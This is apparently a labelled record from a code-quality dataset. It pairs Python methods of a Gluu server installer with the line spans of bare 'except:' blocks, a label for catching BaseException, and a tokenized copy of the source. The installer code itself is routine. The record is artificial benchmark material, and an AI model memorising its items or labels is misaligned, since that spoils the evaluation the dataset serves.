self.logIt(\"Unable to read or parse json file from %s\" % fn, True)\n self.logIt(traceback.format_exc(), True)\n return None", "metadata": "root.Setup.load_json", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1323 }, { "content": " def makeFolders(self):\n try:\n # Create these folder on all instances\n mkdir = '/bin/mkdir'\n chown = '/bin/chown'\n self.run([mkdir, '-p', self.configFolder])\n self.run([mkdir, '-p', self.certFolder])\n self.run([mkdir, '-p', self.outputFolder])\n\n if self.installOxTrust | self.installOxAuth:\n self.run([mkdir, '-p', self.gluuOptFolder])\n self.run([mkdir, '-p', self.gluuOptBinFolder])\n self.run([mkdir, '-p', self.tomcat_user_home_lib])\n self.run([mkdir, '-p', self.oxPhotosFolder])\n self.run([mkdir, '-p', self.oxTrustRemovedFolder])\n self.run([mkdir, '-p', self.oxTrustCacheRefreshFolder])\n\n # Customizations folders\n self.run([mkdir, '-p', self.oxCustomizationFolder])\n self.run([mkdir, '-p', \"%s/oxauth\" % self.oxCustomizationFolder])\n self.run([mkdir, '-p', \"%s/oxauth/libs\" % self.oxCustomizationFolder])\n self.run([mkdir, '-p', \"%s/oxauth/pages\" % self.oxCustomizationFolder])\n self.run([mkdir, '-p', \"%s/oxauth/resources\" % self.oxCustomizationFolder])\n\n self.run([mkdir, '-p', \"%s/oxtrust\" % self.oxCustomizationFolder])\n self.run([mkdir, '-p', \"%s/oxtrust/libs\" % self.oxCustomizationFolder])\n self.run([mkdir, '-p', \"%s/oxtrust/pages\" % self.oxCustomizationFolder])\n self.run([mkdir, '-p', \"%s/oxtrust/resources\" % self.oxCustomizationFolder])\n\n self.run([chown, '-R', 'tomcat:tomcat', self.oxCustomizationFolder])\n\n if self.installSaml:\n self.run([mkdir, '-p', self.idpFolder])\n self.run([mkdir, '-p', self.idpMetadataFolder])\n self.run([mkdir, '-p', self.idpLogsFolder])\n self.run([mkdir, '-p', self.idpLibFolder])\n self.run([mkdir, '-p', self.idpConfFolder])\n self.run([mkdir, '-p', self.idpSslFolder])\n self.run([mkdir, '-p', self.idpTempMetadataFolder])\n self.run([mkdir, '-p', self.idpWarFolder])\n self.run([mkdir, '-p', self.idpSPFolder])\n self.run([chown, '-R', 'tomcat:tomcat', self.idpFolder])\n except:\n self.logIt(\"Error making folders\", True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.makeFolders", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1335 }, { "content": " def make_salt(self):\n try:\n f = open(\"%s/conf/salt\" % self.tomcatHome, 'w')\n f.write('encodeSalt = %s' % self.encode_salt)\n f.close()\n except:\n self.logIt(\"Error writing salt\", True)\n self.logIt(traceback.format_exc(), True)\n sys.exit()", "metadata": "root.Setup.make_salt", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1381 }, { "content": " def promptForProperties(self):\n # IP address needed only for Apache2 and hosts file update\n if self.installHttpd:\n self.ip = self.get_ip()\n\n detectedHostname = None\n try:\n detectedHostname = socket.gethostbyaddr(socket.gethostname())[0]\n except:\n try:\n detectedHostname = os.popen(\"/bin/hostname\").read().strip()\n except:\n self.logIt(\"No detected hostname\", True)\n self.logIt(traceback.format_exc(), True)\n if detectedHostname:\n self.hostname = self.getPrompt(\"Enter hostname\", detectedHostname)\n else:\n self.hostname = self.getPrompt(\"Enter hostname\")\n\n # Get city and state|province code\n self.city = self.getPrompt(\"Enter your city or locality\")\n self.state = self.getPrompt(\"Enter your state or province two letter code\")\n\n # Get the Country Code\n long_enough = False\n while not long_enough:\n countryCode = self.getPrompt(\"Enter two letter Country Code\")\n if len(countryCode) != 2:\n print \"Country code must be two characters\"\n else:\n self.countryCode = countryCode\n long_enough = True\n\n self.orgName = self.getPrompt(\"Enter Organization Name\")\n self.admin_email = self.getPrompt('Enter email address for support at your organization')\n self.tomcat_max_ram = self.getPrompt(\"Enter maximum RAM for tomcat in MB\", '1536')\n randomPW = self.getPW()\n self.ldapPass = self.getPrompt(\"Optional: enter password for oxTrust and LDAP superuser\", randomPW)\n\n promptForOxAuth = self.getPrompt(\"Install oxAuth OAuth2 Authorization Server?\", \"Yes\")[0].lower()\n if promptForOxAuth == 'y':\n self.installOxAuth = True\n else:\n self.installOxAuth = False\n\n promptForOxTrust = self.getPrompt(\"Install oxTrust Admin UI?\", \"Yes\")[0].lower()\n if promptForOxTrust == 'y':\n self.installOxTrust = True\n else:\n self.installOxTrust = False\n\n promptForLDAP = self.getPrompt(\"Install Gluu OpenDJ LDAP Server?\", \"Yes\")[0].lower()\n if promptForLDAP == 'y':\n self.installLdap = True\n else:\n self.installLdap = False\n\n promptForHTTPD = self.getPrompt(\"Install Apache HTTPD Server\", \"Yes\")[0].lower()\n if promptForHTTPD == 'y':\n self.installHttpd = True\n else:\n self.installHttpd = False\n\n promptForShibIDP = self.getPrompt(\"Install Shibboleth 2 SAML IDP?\", \"No\")[0].lower()\n if promptForShibIDP == 'y':\n self.installSaml = True\n else:\n self.installSaml = False\n\n promptForAsimba = self.getPrompt(\"Install Asimba SAML Proxy?\", \"No\")[0].lower()\n if promptForAsimba == 'y':\n self.installAsimba = True\n else:\n self.installAsimba = False\n\n promptForCAS = self.getPrompt(\"Install CAS?\", \"No\")[0].lower()\n if promptForCAS == 'y':\n self.installCas = True\n else:\n self.installCas = False\n\n promptForOxAuthRP = self.getPrompt(\"Install oxAuth RP?\", \"No\")[0].lower()\n if promptForOxAuthRP == 'y':\n self.installOxAuthRP = True\n else:\n self.installOxAuthRP = False", "metadata": "root.Setup.promptForProperties", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1397 }, { "content": " def removeDirs(self, name):\n try:\n if os.path.exists(name):\n shutil.rmtree(name)\n self.logIt('Removed dir: %s' % name)\n except:\n self.logIt(\"Error removing directory %s\" % name, True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.removeDirs", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1484 }, { "content": " def removeFile(self, fileName):\n try:\n if os.path.exists(fileName):\n os.remove(fileName)\n self.logIt('Removed file: %s' % fileName)\n except:\n self.logIt(\"Error removing file %s\" % fileName, True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.removeFile", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1493 }, { "content": " def render_templates(self):\n self.logIt(\"Rendering templates\")\n for fullPath in self.ce_templates.keys():\n try:\n self.renderTemplate(fullPath)\n except:\n self.logIt(\"Error writing template %s\" % fullPath, True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.render_templates", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1522 }, { "content": " def render_configuration_template(self):\n self.logIt(\"Rendering configuration templates\")\n \n fullPath = self.ldif_configuration\n try:\n self.renderTemplate(fullPath)\n except:\n self.logIt(\"Error writing template %s\" % fullPath, True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.render_configuration_template", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1531 }, { "content": " def render_test_templates(self):\n self.logIt(\"Rendering test templates\")\n \n testTepmplatesFolder = '%s/test/' % self.templateFolder\n for templateBase, templateDirectories, templateFiles in os.walk(testTepmplatesFolder):\n for templateFile in templateFiles:\n fullPath = '%s/%s' % (templateBase, templateFile)\n try:\n self.logIt(\"Rendering test template %s\" % fullPath)\n fn = fullPath[12:] # Remove ./template/ from fullPath\n f = open(os.path.join(self.templateFolder, fn))\n template_text = f.read()\n f.close()\n \n fullOutputFile = os.path.join(self.outputFolder, fn)\n # Create full path to the output file\n fullOutputDir = os.path.dirname(fullOutputFile)\n if not os.path.exists(fullOutputDir):\n os.makedirs(fullOutputDir)\n\n newFn = open(fullOutputFile, 'w+')\n newFn.write(template_text % self.__dict__)\n newFn.close()\n except:\n self.logIt(\"Error writing test template %s\" % fullPath, True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.render_test_templates", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1541 }, { "content": " def generate_base64_file(self, fn, num_spaces):\n self.logIt('Loading file %s' % fn)\n plain_file_b64encoded_text = None\n try:\n plain_file = open(fn)\n plain_file_text = plain_file.read()\n plain_file_b64encoded_text = plain_file_text.encode('base64').strip()\n plain_file.close()\n except:\n self.logIt(\"Error loading file\", True)\n self.logIt(traceback.format_exc(), True)\n \n if num_spaces > 0:\n plain_file_b64encoded_text = self.reindent(plain_file_b64encoded_text, num_spaces)\n\n return plain_file_b64encoded_text", "metadata": "root.Setup.generate_base64_file", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1575 }, { "content": " def run(self, args, cwd=None):\n self.logIt('Running: %s' % ' '.join(args))\n try:\n p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=cwd)\n output, err = p.communicate()\n if output:\n self.logIt(output)\n if err:\n self.logIt(err, True)\n except:\n self.logIt(\"Error running command : %s\" % \" \".join(args), True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.run", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1610 }, { "content": " def save_properties(self):\n self.logIt('Saving properties to %s' % self.savedProperties)\n def getString(object):\n if type(object) == type(\"\"):\n return object.strip()\n else:\n return ''\n try:\n p = Properties.Properties()\n keys = self.__dict__.keys()\n keys.sort()\n for key in keys:\n value = getString(self.__dict__[key])\n if value != '':\n p[key] = value\n p.store(open(self.savedProperties, 'w'))\n except:\n self.logIt(\"Error saving properties\", True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.save_properties", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1623 }, { "content": " def setup_opendj(self):\n self.logIt(\"Running OpenDJ Setup\")\n try:\n self.add_ldap_schema()\n except:\n self.logIt('Error adding ldap schema', True)\n self.logIt(traceback.format_exc(), True)\n\n # Copy opendj-setup.properties so user ldap can find it in /opt/opendj\n setupPropsFN = os.path.join(self.ldapBaseFolder, 'opendj-setup.properties')\n shutil.copy(\"%s/opendj-setup.properties\" % self.outputFolder, setupPropsFN)\n self.change_ownership()\n try:\n setupCmd = \"cd /opt/opendj ; \" + \" \".join([self.ldapSetupCommand,\n '--no-prompt',\n '--cli',\n '--propertiesFilePath',\n setupPropsFN,\n '--acceptLicense'])\n self.run(['/bin/su',\n 'ldap',\n '-c',\n setupCmd])\n except:\n self.logIt(\"Error running LDAP setup script\", True)\n self.logIt(traceback.format_exc(), True)\n\n try:\n dsjavaCmd = \"cd /opt/opendj/bin ; %s\" % self.ldapDsJavaPropCommand\n self.run(['/bin/su',\n 'ldap',\n '-c',\n dsjavaCmd\n ])\n except:\n self.logIt(\"Error running dsjavaproperties\", True)\n self.logIt(traceback.format_exc(), True)\n \n if self.os_type in ['centos', 'redhat', 'fedora'] and self.os_initdaemon == 'systemd':\n self.run([\"/opt/opendj/bin/create-rc-script\", \"--outputFile\", \"/etc/init.d/opendj\", \"--userName\", \"ldap\"])\n self.run([\"/usr/sbin/chkconfig\", \"--add\", \"opendj\"])\n else:\n self.run([\"/opt/opendj/bin/create-rc-script\", \"--outputFile\", \"/etc/init.d/opendj\", \"--userName\", \"ldap\"])", "metadata": "root.Setup.setup_opendj", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1643 }, { "content": " def setup_init_scripts(self):\n if self.os_type in ['centos', 'redhat', 'fedora'] and self.os_initdaemon == 'systemd':\n script_name = os.path.split(self.tomcat_template_centos7)[-1]\n dest_folder = os.path.dirname(self.tomcat_service_centos7)\n try:\n self.copyFile(self.tomcat_template_centos7, dest_folder)\n self.run([\"chmod\", \"755\", self.tomcat_service_centos7])\n self.run([self.tomcat_service_centos7, \"install\"])\n except:\n self.logIt(\"Error copying script file %s to %s\" % (self.tomcat_template_centos7, dest_folder))\n self.logIt(traceback.format_exc(), True)\n else:\n for init_file in self.init_files:\n try:\n script_name = os.path.split(init_file)[-1]\n self.copyFile(init_file, \"/etc/init.d\")\n self.run([\"chmod\", \"755\", \"/etc/init.d/%s\" % script_name])\n except:\n self.logIt(\"Error copying script file %s to /etc/init.d\" % init_file)\n self.logIt(traceback.format_exc(), True)\n\n if self.os_type in ['centos', 'redhat', 'fedora']:\n for service in self.redhat_services:\n self.run([\"/sbin/chkconfig\", service, \"on\"])\n elif self.os_type in ['ubuntu', 'debian']:\n self.run([\"/usr/sbin/update-rc.d\", 'tomcat', 'start', '50', '3', \".\"])\n for service in self.debian_services:\n self.run([\"/usr/sbin/update-rc.d\", service, 'enable'])", "metadata": "root.Setup.setup_init_scripts", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1687 }, { "content": " def start_services(self):\n # Detect sevice path and apache service name\n service_path = '/sbin/service'\n apache_service_name = 'httpd'\n if self.os_type in ['centos', 'redhat', 'fedora'] and self.os_initdaemon == 'systemd':\n service_path = '/usr/bin/systemctl'\n apache_service_name = 'httpd'\n elif self.os_type in ['debian', 'ubuntu']:\n service_path = '/usr/sbin/service'\n apache_service_name = 'apache2'\n\n # Apache HTTPD\n if self.os_type in ['centos', 'redhat', 'fedora'] and self.os_initdaemon == 'systemd':\n self.run([service_path, 'enable', apache_service_name])\n self.run([service_path, 'start', apache_service_name])\n else:\n self.run([service_path, apache_service_name, 'start'])\n\n # Memcached\n if self.os_type in ['centos', 'redhat', 'fedora'] and self.os_initdaemon == 'systemd':\n self.run([service_path, 'start', 'memcached.service'])\n else:\n self.run([service_path, 'memcached', 'start'])\n\n # Apache Tomcat\n try:\n # Giving LDAP a few seconds to load the data...\n i = 0\n wait_time = 5\n while i < wait_time:\n time.sleep(1)\n print \".\",\n i = i + 1\n if self.os_type in ['centos', 'redhat', 'fedora'] and self.os_initdaemon == 'systemd':\n self.run([service_path, 'enable', 'tomcat'])\n self.run([service_path, 'start', 'tomcat'])\n else:\n self.run([service_path, 'tomcat', 'start'])\n except:\n self.logIt(\"Error starting tomcat\")\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.start_services", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1716 }, { "content": " def configure_opendj_install(self):\n if self.opendj_version == \"2.6\":\n self.loadLdifCommand = self.importLdifCommand\n self.ldap_backend_type = 'local-db'\n else:\n self.loadLdifCommand = self.ldapModifyCommand\n self.ldap_backend_type = 'je'\n\n try:\n f = open(self.ldapPassFn, 'w')\n f.write(self.ldapPass)\n f.close()\n self.run([\"/bin/chown\", 'ldap:ldap', self.ldapPassFn])\n except:\n self.logIt(\"Error writing temporary LDAP password.\")", "metadata": "root.Setup.configure_opendj_install", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1774 }, { "content": "def getOpts(argv, setupOptions):\n try:\n opts, args = getopt.getopt(argv, \"acd:fhNn:suw\")\n except getopt.GetoptError:\n print_help()\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-a':\n setupOptions['installAsimba'] = True\n elif opt == '-c':\n setupOptions['installCas'] = True\n elif opt == '-d':\n if os.path.exists(arg):\n setupOptions['install_dir'] = arg\n else:\n print 'System folder %s does not exist. Installing in %s' % (arg, os.getcwd())\n elif opt == '-h':\n print_help()\n sys.exit()\n elif opt == \"-f\":\n try:\n if os.path.isfile(arg):\n setupOptions['setup_properties'] = arg\n print \"Found setup properties %s\\n\" % arg\n else:\n print \"\\nOoops... %s file not found for setup properties.\\n\" % arg\n except:\n print \"\\nOoops... %s file not found\\n\" % arg\n elif opt == \"-n\":\n setupOptions['noPrompt'] = True\n elif opt == \"-N\":\n setupOptions['installHTTPD'] = False\n elif opt == \"-s\":\n setupOptions['installSaml'] = True\n elif opt == \"-w\":\n setupOptions['downloadWars'] = True\n elif opt == '-r':\n setupOptions['installOxAuthRP'] = True\n return setupOptions", "metadata": "root.getOpts", "header": "['module', '___EOS___']", "index": 1810 } ]
[ { "span": "except:", "start_line": 1902, "start_column": 4, "end_line": 1902, "end_column": 11 }, { "span": "except:", "start_line": 1907, "start_column": 4, "end_line": 1907, "end_column": 11 }, { "span": "except:", "start_line": 1967, "start_column": 8, "end_line": 1967, "end_column": 15 }, { "span": "except:", "start_line": 340, "start_column": 8, "end_line": 340, "end_column": 15 }, { "span": "except:", "start_line": 353, "start_column": 8, "end_line": 353, "end_column": 15 }, { "span": "except:", "start_line": 384, "start_column": 8, "end_line": 384, "end_column": 15 }, { "span": "except:", "start_line": 422, "start_column": 12, "end_line": 422, "end_column": 19 }, { "span": "except:", "start_line": 474, "start_column": 12, "end_line": 474, "end_column": 19 }, { "span": "except:", "start_line": 536, "start_column": 8, "end_line": 536, "end_column": 15 }, { "span": "except:", "start_line": 544, "start_column": 8, "end_line": 544, "end_column": 15 }, { "span": "except:", "start_line": 563, "start_column": 8, "end_line": 563, "end_column": 15 }, { "span": "except:", "start_line": 591, "start_column": 16, "end_line": 591, "end_column": 23 }, { "span": "except:", "start_line": 609, "start_column": 8, "end_line": 609, "end_column": 15 }, { "span": "except:", "start_line": 636, "start_column": 8, "end_line": 636, "end_column": 15 }, { "span": "except:", "start_line": 644, "start_column": 8, "end_line": 644, "end_column": 15 }, { "span": "except:", "start_line": 738, "start_column": 8, "end_line": 738, "end_column": 15 }, { "span": "except:", "start_line": 754, "start_column": 8, "end_line": 754, "end_column": 15 }, { "span": "except:", "start_line": 859, "start_column": 8, "end_line": 859, "end_column": 15 }, { "span": "except:", "start_line": 941, "start_column": 8, "end_line": 941, "end_column": 15 }, { "span": "except:", "start_line": 961, "start_column": 8, "end_line": 961, "end_column": 15 }, { "span": "except:", "start_line": 1012, "start_column": 8, "end_line": 1012, "end_column": 15 }, { "span": "except:", "start_line": 1138, "start_column": 8, "end_line": 1138, "end_column": 15 }, { "span": "except:", "start_line": 1316, "start_column": 16, "end_line": 1316, "end_column": 23 }, { "span": "except:", "start_line": 1319, "start_column": 8, "end_line": 1319, "end_column": 15 }, { "span": "except:", "start_line": 1330, "start_column": 8, "end_line": 1330, "end_column": 15 }, { "span": "except:", "start_line": 1377, "start_column": 8, "end_line": 1377, "end_column": 15 }, { "span": "except:", "start_line": 1386, "start_column": 8, "end_line": 1386, "end_column": 15 }, { "span": "except:", "start_line": 1405, "start_column": 8, "end_line": 1405, "end_column": 15 }, { "span": "except:", "start_line": 1408, "start_column": 12, "end_line": 1408, "end_column": 19 }, { "span": "except:", "start_line": 1489, "start_column": 8, "end_line": 1489, "end_column": 15 }, { "span": "except:", "start_line": 1498, "start_column": 8, "end_line": 1498, "end_column": 15 }, { "span": "except:", "start_line": 1527, "start_column": 12, "end_line": 1527, "end_column": 19 }, { "span": "except:", "start_line": 1537, "start_column": 8, "end_line": 1537, "end_column": 15 }, { "span": "except:", "start_line": 1564, "start_column": 16, "end_line": 1564, "end_column": 23 }, { "span": "except:", "start_line": 1583, "start_column": 8, "end_line": 1583, "end_column": 15 }, { "span": "except:", "start_line": 1619, "start_column": 8, "end_line": 1619, "end_column": 15 }, { "span": "except:", "start_line": 1639, "start_column": 8, "end_line": 1639, "end_column": 15 }, { "span": "except:", "start_line": 1647, "start_column": 8, "end_line": 1647, "end_column": 15 }, { "span": "except:", "start_line": 1666, "start_column": 8, "end_line": 1666, "end_column": 15 }, { "span": "except:", "start_line": 1677, "start_column": 8, "end_line": 1677, "end_column": 15 }, { "span": "except:", "start_line": 1695, "start_column": 16, "end_line": 1695, "end_column": 23 }, { "span": "except:", "start_line": 1704, "start_column": 16, "end_line": 1704, "end_column": 23 }, { "span": "except:", "start_line": 1754, "start_column": 8, "end_line": 1754, "end_column": 15 }, { "span": "except:", "start_line": 1787, "start_column": 8, "end_line": 1787, "end_column": 15 }, { "span": "except:", "start_line": 1836, "start_column": 12, "end_line": 1836, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "MIT", " ", "License", " ", "(", "MIT", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2014", " ", "Glu", "u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Permi", "ssion", " ", "is", " ", "here", "by", " ", "grant", "ed", ",", " ", "free", " ", "of", " ", "charge", ",", " ", "to", " ", "any", " ", "person", " ", "obtain", "ing", " ", "a", " ", "copy_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "this", " ", "software", " ", "and", " ", "associate", "d", " ", "documentation", " ", "files", " ", "(", "the", " ", "\"", "Sof", "twa", "re", "\")", ",", " ", "to", " ", "deal", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "Sof", "twa", "re", " ", "with", "out", " ", "restriction", ",", " ", "inclu", "ding", " ", "with", "out", " ", "limit", "ation", " ", "the", " ", "rights_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "use", ",", " ", "copy", ",", " ", "modif", "y", ",", " ", "merge", ",", " ", "publi", "sh", ",", " ", "distribute", ",", " ", "subli", "cens", "e", ",", " ", "and", "/", "or", " ", "sell", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "copie", "s", " ", "of", " ", "the", " ", "Sof", "twa", "re", ",", " ", "and", " ", "to", " ", "permit", " ", "person", "s", " ", "to", " ", "who", "m", " ", "the", " ", "Sof", "twa", "re", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fur", "nish", "ed", " ", "to", " ", "do", " ", "so", ",", " ", "subject", " ", "to", " ", "the", " ", "follow", "ing", " ", "condition", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "above", " ", "copyr", "ight", " ", "notice", " ", "and", " ", "this", " ", "permissi", "on", " ", "notice", " ", "sha", "ll", " ", "be", " ", "include", "d", " ", "in", " ", "all_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "copie", "s", " ", "or", " ", "substa", "nti", "al", " ", "porti", "ons", " ", "of", " ", "the", " ", "Sof", "twa", "re", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "\"", "AS", " ", "IS", "\",", " ", "WITH", "OUT", " ", "WAR", "RAN", "TY", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "EXPR", "ESS", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IMPL", "IED", ",", " ", "INC", "LU", "DING", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", " ", "THE", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "AND", " ", "NON", "INF", "RING", "EME", "NT", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "AUTHOR", "S", " ", "OR", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "CLA", "IM", ",", " ", "DA", "MAGE", "S", " ", "OR", " ", "OTHER", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "AN", " ", "ACTI", "ON", " ", "OF", " ", "CONTR", "ACT", ",", " ", "TOR", "T", " ", "OR", " ", "OTHER", "WI", "SE", ",", " ", "ARI", "SIN", "G", " ", "FROM", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "OUT", " ", "OF", " ", "OR", " ", "IN", " ", "CONNECTION", " ", "WITH", " ", "THE", " ", "SOFT", "WARE", " ", "OR", " ", "THE", " ", "USE", " ", "OR", " ", "OTHER", " ", "DEA", "LING", "S", " ", "IN", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SOFT", "WARE", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Properties_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "getopt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "######", " ", " ", " ", "Main", " ", "Loop", " ", " ", " ", "###########", "###########", "###########", "###########", "#####", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "\\u", "dir", "'_", ":_", "'.'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "setup", "\\u", "proper", "ties", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "no", "Prom", "pt", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "download", "War", "s", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "Ox", "Auth", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "Ox", "Trust", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "LDA", "P", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "HTTP", "D", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "Sam", "l", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "Asi", "mba", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "Cas", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "install", "Ox", "Auth", "RP", "'_", ":_", "False_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "sys_", "._", "argv_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "=_", "get", "Opts_", "(_", "sys_", "._", "argv_", "[_", "1_", ":_", "]_", ",_", "setup", "Options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "install", "Object_", "=_", "Setup_", "(_", "setup", "Options_", "[_", "'", "install", "\\u", "dir", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "install", "Object_", "._", "download", "War", "s_", "=_", "setup", "Options_", "[_", "'", "download", "War", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "install", "Object_", "._", "install", "Ox", "Auth_", "=_", "setup", "Options_", "[_", "'", "install", "Ox", "Auth", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "Ox", "Trust", "_", "=_", "setup", "Options_", "[_", "'", "install", "Ox", "Trust", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "Lda", "p_", "=_", "setup", "Options_", "[_", "'", "install", "LDA", "P", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "Http", "d_", "=_", "setup", "Options_", "[_", "'", "install", "HTTP", "D", "'_", "]_", 